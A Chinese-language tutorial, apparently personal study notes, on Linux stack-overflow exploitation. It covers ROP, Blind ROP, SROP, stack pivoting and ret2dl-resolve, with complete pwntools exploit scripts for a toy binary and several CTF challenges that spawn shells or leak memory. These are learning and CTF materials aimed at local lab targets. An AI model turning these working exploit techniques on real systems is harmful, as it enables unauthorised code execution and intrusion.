栈溢出原理 由于C语言对数组引用不做任何边界检查,从而导致缓冲区溢出成为一种很常见的漏洞。由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者可以通过覆盖返回地址来执行任意代码,利用方法包括shellcode注入、retlibc,rop等
危险函数 大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的。
scanf, gets这类
strcpy, strcat, sprintf这一类
返回导向编程 ROP是Return-Oriented Programming 的缩写,因为引入了NX机制,数据所在的内存页被标记为不可执行,此时在执行shellcode就会抛出异常,因为注入新代码不可行,所以就利用程序中已有的代码。
使用ROP攻击,首先需要扫描文件,提取出可用的gadget片段(通常以ret指令结尾),然后将这些gadget进行组合,来达到攻击者的目的。举个例子,exit(0)的shellcode由下面4条连续的指令组成。
1 2 3 4 5 ; exit(0) shellcode xor eax, eax xor ebx, ebx inc eax int 0x80
ROP链为
1 2 3 4 5 6 7 8 ; exit(0) ROP chain xor eax, eax ;gadget 1 地址A ret xor ebx, ebx ;gadget 2 地址B ret inc eax ;gadget 3 地址C ret int 0x80 ;gadget 4 地址D
栈为(上面为低,下面为高)
1 2 3 4 地址A ;原来的EIP的位置 低地址 地址B 地址C 地址D ; 高地址
示例 程序源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln_func () { char buf[128 ]; read(STDIN_FILENO, buf, 256 ); } int main () { void * handle = dlopen("libc.so.6" , RTLD_NOW | RTLD_GLOBAL); printf ("%p\n" , dlsym(handle, "system" )); vuln_func(); write(STDOUT_FILENO, "Hello world!\n" , 13 ); return 0 ; }
1 gcc -fno-stack-protector -z noexecstack -pie -fpie main.c -ldl -o rop64
为了方便测试,这个地方直接打印出了system的地址,来模拟信息泄露。思路就是根据system的地址找到Libc的基地址,然后找到/bin/sh的地址 + gadget(pop rdi; ret) ,将rdi传入/bin/sh的地址,然后去调用system来获取shell
1 2 3 4 5 6 7 8 9 10 ╭─ ~/Desktop/testC/stack_test ╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi 0x0000000000022394 : pop rdi ; pop rbp ; ret 0x000000000002164f : pop rdi ; ret ╭─ ~/Desktop/testC/stack_test ╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh" Strings information ============================================================ 0x00000000001b3d88 : /bin/sh
exp1: ROP攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = "debug" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io = process("rop64" ) system_addr = int (io.recvuntil(b"\n" )[:-1 ], 16 ) log.info("system_addr: %s" % hex (system_addr)) libc_base = system_addr - libc.symbols['system' ] log.info("libc_base: %s" % hex (libc_base)) binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) log.info("binsh_addr: %s" % hex (binsh_addr)) pop_rdi_addr = libc_base + 0x2164f ret_addr = libc_base + 0x08aa payload = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) io.send(payload) io.interactive()
这里的payload要在中间+ p64(ret_addr), 这是为了对齐 ,具体看下面的参考文章
EXP2: 利用one_gadget,execve 函数 其实就是retlibc的感觉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = "debug" libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) io = process("rop64" ) system_addr = int (io.recvuntil(b"\n" )[:-1 ], 16 ) log.info("system_addr: %s" % hex (system_addr)) libc_base = system_addr - libc.symbols['system' ] log.info("libc_base: %s" % hex (libc_base)) one_gadget = libc_base + 0x4f302 payload = b'A' * 136 + p64(one_gadget) payload = payload.ljust(250 , b'\x00' ) io.send(payload) io.interactive()
参考文章:
http://picpo.top/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/
http://blog.eonew.cn/2019-05-11.%E5%9C%A8%E4%B8%80%E4%BA%9B64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E5%A4%B1%E8%B4%A5%E9%97%AE%E9%A2%98.html
https://www.cnblogs.com/tcctw/p/11333743.html
Blind ROP BROP,即Blind Return Oriented Programming, BROP能够在无法获得二进制程序的情况下,基于远程服务崩溃与否(连接是否中断),进行ROP攻击获得shell,可用于开启了ASLR、NX和canaries的64位Linux
BROP原理 传统的ROP攻击需要攻击者通过逆向等手段、从二进制文件中提取可用的gadgets,而BROP在符合一定的前提条件下,无需获得二进制文件。其中两个必要的条件是↓
目标程序存在栈溢出漏洞,并且可以稳定触发
目标进程在崩溃后回立即重启,并且重启后的进程内存不会重新随机化,这样即使目标机器开启了ASLR也没有影响
BROP攻击的主要阶段如下
Stack reading ,泄露canaries和返回地址,然后从返回地址可以推算出程序的加载地址,用于后续gadgets的扫描。泄露方法是每次溢出一个字节,看程序是否崩溃。
Blind ROP , 这一阶段用于远程搜索gadgets,搜索gadgets的思路也是基于溢出返回地址后判断程序是否崩溃。要搜到stop gadgets,即让程序挂起的一些指令,例如进入无限循环,sleep或read啥的,因为要利用这个stop gadgets来搜索对我们有用的gadgets,即下面这样↓
1 2 payload = b'A' * buf_size + p64(gadgets) + ... +p64(stop gadgets) payload = b'A' * buf_size + p64(gadgets)
一般可以搜通用的gadgets,像下面这种
1 2 3 4 5 6 7 .text:000000000040078A 5B pop rbx .text:000000000040078B 5D pop rbp .text:000000000040078C 41 5C pop r12 .text:000000000040078E 41 5D pop r13 .text:0000000000400790 41 5E pop r14 .text:0000000000400792 41 5F pop r15 .text:0000000000400794 C3 retn
Build the exploit , 利用得到的gadgets构造ROP,将程序从远程服务器的内存里传回来,BROP就转换成了普通的ROP攻击
HCTF 2016: brop exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 from pwn import *from binascii import *context(os='linux' , arch='amd64' ) def get_buffer_size (): for i in range (1 , 100 ): payload = 'A' * i buffsize = len (payload) - 1 try : io = remote("127.0.0.1" , 10001 ) io.sendafter("ssword?\n" , payload) io.recvline() io.close() log.info("bad buffsize: %d" % buffsize) except EOFError as e: io.close() log.info("buffsize: %d" % buffsize) return buffsize def get_stop_addr (buf_size ): addr = 0x400000 while True : sleep(0.1 ) addr += 1 payload = b'A' * buf_size payload += p64(addr) try : io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) io.recvline() io.close() log.info("stop address: 0x%x" % addr) return addr except EOFError as e: io.close() log.info("bad 0x%x" % addr) except : log.info("Can't connect" ) addr -= 1 def get_gadgets_addr (buf_size, stop_addr ): addr = stop_addr sleep(0.1 ) while True : addr += 1 payload = b'A' * buf_size + p64(addr) + b'AAAAAAAA' * 6 try : io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload+ p64(stop_addr)) io.recv(timeout=1 ) io.close() log.info("find address: 0x%x" % addr) try : io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) io.recv(timeout=1 ) io.close() log.info("bad address : 0x%x" % addr) except : io.close() log.info("gadget address: 0x%x" % addr) return addr except EOFError as e: io.close() log.info("bad: 0x%x" % addr) except : log.info("Can't connect" ) addr -= 1 def get_puts_call_addr (buf_size, stop_addr, gadgets_addr ): addr = stop_addr while True : sleep(0.1 ) addr += 1 payload = b'A' * buf_size + p64(gadgets_addr + 9 ) + p64(0x400000 ) + p64(addr) + p64(stop_addr) try : io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) if io.recv().startswith(b'\x7fELF' ): log.info("puts call address:0x%x" % addr) io.close() return addr log.info("bad: 0x%x" % addr) io.close() except EOFError as e: io.close() log.info("bad: 0x%x" % addr) except : log.info("Can't connect" ) addr -= 1 def dump_memory (buf_size, stop_addr, gadgets_addr, puts_call_addr, start_addr, end_addr ): result = b'' while start_addr < end_addr: sleep(0.1 ) payload = b'A' * buf_size payload+= p64(gadgets_addr+9 ) payload+= p64(start_addr) payload+= p64(puts_call_addr) payload += p64(stop_addr) try : io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) data = io.recv()[:-1 ] if data == b'' : data = b"\x00" log.info("leaking: 0x%x ---> %s" % (start_addr, hexlify(data))) result += data start_addr += len (data) io.close() except EOFError: log.info("EOF" ) return result except : log.info("Can't connect" ) return result def get_puts_addr (buf_size, stop_addr, gadgets_addr, puts_call_addr, puts_got ): payload = b'A' * buf_size payload+= p64(gadgets_addr+9 ) payload+= p64(puts_got) payload+= p64(puts_call_addr) payload += p64(stop_addr) io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) data = io.recvline()[:-1 ] data = u64(data.ljust(8 , b"\x00" )) log.info("puts address: 0x%x" % data) return data def pwn (gadgets_addr, system_addr, binsh_addr ): payload = b'A' * 72 + p64(gadgets_addr+10 ) +p64(gadgets_addr+9 ) + p64(binsh_addr) + p64(system_addr) io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) io.interactive() def leak2 (addr ): buf_size = 72 gadgets_addr = 0x40078a puts_call_addr = 0x400547 payload = b'A' * buf_size payload+= p64(gadgets_addr+9 ) payload+= p64(addr) payload+= p64(puts_call_addr) io = remote('127.0.0.1' , 10001 ) io.sendafter("ssword?\n" , payload) sleep(0.2 ) data = io.recv()[:-1 ] if data == b'' : data = b"\x00" log.info('leaking: {0}: {1}' .format (hex (addr), hexlify(data))) io.close() return data def leak1 (puts_addr ): system_addr = puts_addr - 0x80970 + 0x4f420 binsh_addr = puts_addr - 0x80970 + 0x1b3d88 return system_addr, binsh_addr def get_ret_addr (): retaddr = b"" for i in range (8 ): j = 0 while j <= 255 : try : tmp_addr = bytes ([j]) io = remote('127.0.0.1' , 10001 ) payload = b'A' * 72 + retaddr + tmp_addr io.sendafter("ssword?\n" , payload) sleep(0.2 ) tmp_recv = io.recv(timeout=1 ) if b'No password' in tmp_recv: retaddr = retaddr + tmp_addr log.info("------------>correct address: {}" .format (hexlify(retaddr))) io.close() j = j + 1 break else : log.info("bad address: {}" .format (hexlify(tmp_addr))) j = j + 1 io.close() continue except EOFError: io.close() j = j + 1 log.info("bad address: {}" .format (hexlify(tmp_addr))) continue except : log.info("Cant't connect" ) continue log.info("return address: {}" .format (hexlify(retaddr[::-1 ]))) return retaddr get_ret_addr()
参考文章:https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html
SROP SROP与ROP类似,通过栈溢出,覆盖返回地址并执行gadgets控制执行流。不同的是,SROP使用能够调用sigreturn的gadget覆盖返回地址,并将一个伪造的sigcontext结构体放在栈中。这个地方有点类似windows那个挂起线程,然后设置线程上下文,然后恢复线程的 设置线程上下文然后恢复线程。
SROP原理 Linux系统调用 Linux的系统调用中,64位和32位的系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/unistd_32.h中,另外还需要查看/usr/include/bits/syscall.h
比如write的系统调用号是1,就往RAX里存入1,执行syscall,其实就是执行的write函数,当然rdi, rsi, rdx 得存入参数才可以
1 2 3 4 5 6 7 #ifdef __NR_writev # define SYS_writev __NR_writev #endif ... #define __NR_write 1
int 0x80
即80中断, 是最老的系统函数调用方式
syscall/sysret
是amd64 制定的标准, 也是目前的x86 64位的标准,即amd64
sysenter/syssysexit
是inter制定的x86 64位标准, 目前已被放弃
vdso
是linux内核虚拟出的so, 实现了int 80 和 syscall,调用方式为 vsyscall
signal机制 当有中断或异常发送时,内核会向某个进程发送一个signal,该进程被挂起并进入内核,然后内核为其保存相应的上下文,再跳转到之前注册好的signal handler中进程处理,待signal handler返回后,内核为该进程恢复之前保存的上下文,最终恢复执行。(这个地方好像windows的异常处理啊),具体步骤如下。
一个signal frame被添加到栈,这个frame中包含了当前寄存器的值和一些signal信息;
一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn 系统调用;
signal handler被调用,signal handler的行为取决于收到了什么signal
signal handler执行完后,如果程序没有终止,则返回地址用于执行sigreturn 系统调用
sigreturn 利用 signal frame恢复所有的寄存器以回到之前的状态。
最后,程序执行继续。
SROP,即Sigreturn Oriented Programming,就可以利用上面的第5步来进行攻击,即将返回地址覆盖为sigreturn gadget的指针,如果只有syscall,将RAX改为0XF,效果是一样的,然后在栈上覆盖上fake frame即可
参考文章 https://energygreek.github.io/2020/11/09/system-calls-method/
1 2 3 4 5 6 context.arch = 'i386' SigreturnFrame(kernel='i386' ) SigreturnFrame(kernel='amd64' ) context.arch = 'amd64' SigreturnFrame(kernel='amd64' )
Backdoor CTF2017: Fun Signals
什么保护都没有开启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 objdump -d funsignals_player_bin -M intel funsignals_player_bin: file format elf64-x86-64 Disassembly of section .shellcode: 0000000010000000 <__start>: 10000000: 31 c0 xor eax,eax 10000002: 31 ff xor edi,edi 10000004: 31 d2 xor edx,edx 10000006: b6 04 mov dh,0x4 10000008: 48 89 e6 mov rsi,rsp 1000000b: 0f 05 syscall 1000000d: 31 ff xor edi,edi 1000000f: 6a 0f push 0xf 10000011: 58 pop rax 10000012: 0f 05 syscall 10000014: cc int3 0000000010000015 <syscall>: 10000015: 0f 05 syscall 10000017: 48 31 ff xor rdi,rdi 1000001a: 48 c7 c0 3c 00 00 00 mov rax,0x3c 10000021: 0f 05 syscall 0000000010000023 <flag>: 10000023: 66 61 data16 (bad) 10000025: 6b 65 5f 66 imul esp,DWORD PTR [rbp+0x5f],0x66 10000029: 6c ins BYTE PTR es:[rdi],dx 1000002a: 61 (bad) 1000002b: 67 5f addr32 pop rdi 1000002d: 68 65 72 65 5f push 0x5f657265 10000032: 61 (bad) 10000033: 73 5f jae 10000094 <flag+0x71> 10000035: 6f outs dx,DWORD PTR ds:[rsi] 10000036: 72 69 jb 100000a1 <flag+0x7e> 10000038: 67 69 6e 61 6c 5f 69 imul ebp,DWORD PTR [esi+0x61],0x73695f6c 1000003f: 73 10000040: 5f pop rdi 10000041: 61 (bad) 10000042: 74 5f je 100000a3 <flag+0x80> 10000044: 73 65 jae 100000ab <flag+0x88> 10000046: 72 76 jb 100000be <flag+0x9b> 10000048: 65 72 00 gs jb 1000004b <flag+0x28>
可以发现程序,先执行了read命令,rdx,0x400,rsi是rsp rdi是0 ,执行read读入数据,把数据写到栈上,然后在执行调用号为0xf的系统调用
1 2 #define __NR_read 0 #define __NR_rt_sigreturn 15
所以只需要构造sigreturn frame,然后读入就OK了, exp为↓
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf = ELF("./funsignals_player_bin" ) io = process("./funsignals_player_bin" ) context.clear() context.arch = "amd64" frame = SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = elf.symbols['flag' ] frame.rdx = 50 frame.rip = elf.symbols['syscall' ] io.send(bytes (frame)) io.interactive()
stack pivoting stack pivoting 是一种将程序真实的堆栈转移到伪造堆栈上的技术,可用于绕过不可执行栈保护或者处理栈空间过小的情况。下面通过1个例题(32位的,书上还有个64位的,但是基本一样,不写了。。)来说下这种技术,这是ROP Emporium上的那个题
pivot32 IDA打开分析
是在pwnme这个函数中存在栈溢出,但是只溢出了16个字节,显然对于构造ROP链是不够的,所以我们要用到栈转移技术,怎么转移呢?其实就是用了leave ret指令,leave ret,其实就跟mov esp, ebp; pop ebp; pop rip的效果是一样的,
我们把old ebp的位置覆盖为leakaddr - 4.然后执行mov esp,ebp, 所以现在esp就是leakaddr - 4了,然后再执行pop ebp, leak addr - 4这个位置的数就给了ebp了,然后esp执行leak addr,再执行ret的时候,就从leak addr这里取地址了,这样就完成了栈转移
回到这个例题,我们第一次输入的数据存到新栈那里,这里就是真正的要构造的ROP了,目的是为了执行 call ret2win来获取flag(这个函数应该是作者定义的,放到了libpivot32.so中),第二次输入的数据就存在旧栈那里,目的就是转移栈。
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *io = process("pivot32" ) elf = ELF("pivot32" ) lib = ELF("libpivot32.so" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context.log_level = "debug" pop_eax = 0x0804882C xchg_eax_esp = 0x804882E mov_eax_eax = 0x8048830 add_eax_ebx = 0x08048833 leave_ret = 0x080485f5 pop_ebx = 0x080484a9 call_eax= 0x080485f0 foothold_plt = elf.plt['foothold_function' ] foothold_got = elf.got['foothold_function' ] offset = lib.symbols['ret2win' ] - lib.symbols['foothold_function' ] io.recvuntil(b'pivot: ' ) leakaddress = io.recvuntil(b'\n' ) leakaddress = int (leakaddress.decode(), 16 ) log.info("leakaddress: 0x%x" % leakaddress) def step1 (): payload = p32(foothold_plt) payload += p32(pop_eax) payload += p32(foothold_got) payload += p32(mov_eax_eax) payload += p32(pop_ebx) payload += p32(offset) payload += p32(add_eax_ebx) payload += p32(call_eax) io.sendafter(b'> ' , payload) def step2 (): payload = b'A' * 40 payload += p32(leakaddress - 4 ) payload += p32(leave_ret) io.sendafter(b'> ' , payload) if __name__ == "__main__" : step1() step2() io.recvall()
GreHack CTF2017: beerfighter
IDA打开分析,发现在这个地方存在溢出,程序中存在syscall,所以采用srop的技术,然后由于我们最终调用syscall,是把rax设置为SYS_execve,然后rdi是/bin/sh,所以我们还需要提前调用read,即syscall,rax为SYS_read,把 /bin/sh写入进去,写入到.data段,下面是EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context.log_level = "debug" elf = ELF("beerfighter" ) io = process("beerfighter" ) syscall_addr = 0x00400764 context.arch = "amd64" data_address = elf.get_section_by_name(".data" ).header.sh_addr + 0x10 base_address = data_address + 8 pop_rax = 0x040077a sigret_bytes = p64(pop_rax) + p64(constants.SYS_rt_sigreturn)+p64(syscall_addr) frame2 = SigreturnFrame() frame2.rax = constants.SYS_execve frame2.rdi = data_address frame2.rsi = 0 frame2.rdx = 0 frame2.rip = syscall_addr frame1 = SigreturnFrame() frame1.rax = constants.SYS_read frame1.rdi = constants.STDIN_FILENO frame1.rsi = data_address frame1.rdx = len (bytes (frame2)) + 32 frame1.rsp = base_address frame1.rip = syscall_addr def step_1 (): payload1 = b'A' * (1040 + 8 ) payload1 += sigret_bytes payload1 += bytes (frame1) io.sendlineafter(b' > ' , b'1' ) io.sendlineafter(b' > ' , b'0' ) io.sendlineafter(b' > ' , payload1) io.sendlineafter(b' > ' , b'3' ) def step_2 (): payload2 = b'/bin/sh\x00' payload2 += sigret_bytes payload2 += bytes (frame2) io.sendline(payload2) io.interactive() if __name__ == "__main__" : step_1() step_2()
ret2dl-resolve 现代漏洞利用通常包含两个阶段
第一步先通过信息泄露获得程序的内存布局
第二部才进行实际的漏洞利用
然而从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠。于是就有了ret2dl-resolve,巧妙的利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露,就可以直接标识关键函数的位置并调用。( 我感觉这个ret2dl-resolve有点类似于windows下的那个GetProcAddress函数,就是动态获取函数的地址。。
ret2dl-resolve原理 动态装载器负责将二进制文件及依赖库加载到内存,该过程包含了对导入符号(函数和全局变量)的解析。
每个符号都是Elf_Sym结构体,这些符号又共同组成了.dynsym段, Elf32_Sym的结构体如下
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; /4 字节* Symbol name (string tbl index) */ 相对于.dynstr段的偏移 Elf32_Addr st_value ; /4 字节* Symbol value */ 导出函数的地址,不导出时为NULL Elf32_Word st_size; /4 字节* Symbol size */ unsigned char st_info; /1 字节* Symbol type and binding */ unsigned char st_other; /1 字节* Symbol visibility */ Elf32_Section st_shndx; /2 字节* Section index */ } Elf32_Sym;
对于st_info段
1 2 3 #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
对于pwn来说,只考虑st_name, st_info即可
1 2 3 4 5 st_name = 被调用函数名字符串地址相对于.dynstr段的偏移 st_info = (0x1 << 4 ) + 0x2
在IDA中看到的.dynsym和.dynstr如下
导入符号的解析需要重定位,每个重定位项都是Elf_Rel结构体的实例,这些项又共同组成了.rel.plt段(用于导入函数)和.rel.dyn段(用于导入全局变量)。Elf_Rel的结构如下
1 2 3 4 5 typedef struct { Elf32_Addr r_offset; /4 字节* Address */ Elf32_Word r_info; /4 字节* Relocation type and symbol index */ } Elf32_Rel;
对于r_offset项,是GOT表对应项的地址,r_info的高位3个字节用于标识该符号在.dymsym段的位置,即无符号下标,低1个字节是type,如果是6则是变量,为7则为函数,在IDA中看到的.rel.plt和.rel.dyn如图
_dl_runtime_resolve()函数有2个参数,第一个参数是link_map对象的地址,第二个参数是导入函数的标识(Elf_Rel在.rel.plt段中的偏移),函数参数link_map_obj用于获取解析导入函数所需的信息,参数reloc_index标识了解析哪一个导入函数。
符号解析过程如图所示,这里要注意下32位和64位程序结构体会有所区别,而且这个.dl_runtime_resolve的第二个参数,对于32位程序是Elf_Rel在.rel.plt的偏移,对于64位程序是对应Elf_Rel在.rel.plt的索引
2种攻击场景 RELRO保护机制会影响延迟绑定,因此也会影响retdl_resolve:
Partial RELRO: 包括.dynamic段在内的一些段会被标识为只读
Full RELRO: 在Partial RELRO的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt段被完全初始化为目标函数的地址,并标记为只读
下面来看2个简单的攻击场景
关闭RELRO,.dynamic可写,因为动态装载器是通过.dynamic段的DT_STRTAB条目来获取.dynstr段的地址,所以我们可以修改DT_STRTAB来使其指向一个伪造的.dynstr段,在那里伪造假的字符串,这样在执行printf的时候,可以执行execve
开启Partial RELRO保护,使.dynamic段不可写,我们知道_dl_runtime_resolve的第二个参数是对应Elf_Rel相对.rel.plt的偏移,当这个数字非常大的时候,会超出.rel.plt段,我们使其正好落在.bss段,在那里伪造一个Elf_Rel,使r_offset的值指向一个可写的内存地址(用于保存解析后的地址),构造r_info。使其指向一个位于它后面的Elf_Sym,然后Elf_Sym中的st_name指向它后面的函数名字符串
XDCTF 2015: pwn200
IDA打开分析,在这个位置存在栈溢出漏洞,思路是在这个地方利用stack pivot将栈转移到bss段,然后在.bss段伪造Elf_Rel,Elf_Sym和函数名
EXP为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context.log_level = "debug" elf = ELF("pwn200" ) io = process("pwn200" ) io.recvline("2015~!\n" ) pppr_addr = 0x080485cd pop_ebp_addr = 0x08048453 leave_ret_addr = 0x08048481 write_plt = elf.plt['write' ] write_got = elf.got['write' ] read_plt = elf.plt['read' ] plt_0 = elf.get_section_by_name('.plt' ).header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt' ).header.sh_addr dynsym = elf.get_section_by_name('.dynsym' ).header.sh_addr dynstr = elf.get_section_by_name('.dynstr' ).header.sh_addr bss_addr = elf.get_section_by_name('.bss' ).header.sh_addr + 0x800 def stack_pivot (): payload1 = b'A' * 112 payload1 += p32(read_plt) payload1 += p32(pppr_addr) payload1 += p32(0 ) + p32(bss_addr) + p32(200 ) payload1 += p32(pop_ebp_addr) + p32(bss_addr) payload1 += p32(leave_ret_addr) io.send(payload1) def pwn (): r_sym = (bss_addr + 40 - dynsym) // 0x10 r_type = 0x7 r_info = (r_sym << 8 ) + (r_type & 0xff ) fake_reloc = p32(write_got) + p32(r_info) st_name = bss_addr + 56 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4 ) + (st_type & 0xf ) fake_sym = p32(st_name) + p32(0 ) + p32(0 ) + p32(st_info) reloc_index = bss_addr + 28 - rel_plt payload2 = b'AAAA' payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b'AAAA' payload2 += p32(bss_addr + 80 ) payload2 += b'A' * 8 payload2 += fake_reloc payload2 += b'A' * 4 payload2 += fake_sym payload2 += b"system\x00\x00" payload2 = payload2.ljust(80 , b'A' ) payload2 += b'/bin/sh\x00' payload2 = payload2.ljust(100 , b'A' ) io.sendline(payload2) io.interactive() if __name__ == "__main__" : stack_pivot() pwn()
注意!:bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x800
这个地方卡了好久,要+0x800左右的数据才能跑通,加的少了估计会有其他函数也用到这个内存的数据,会冲突,导致跑不通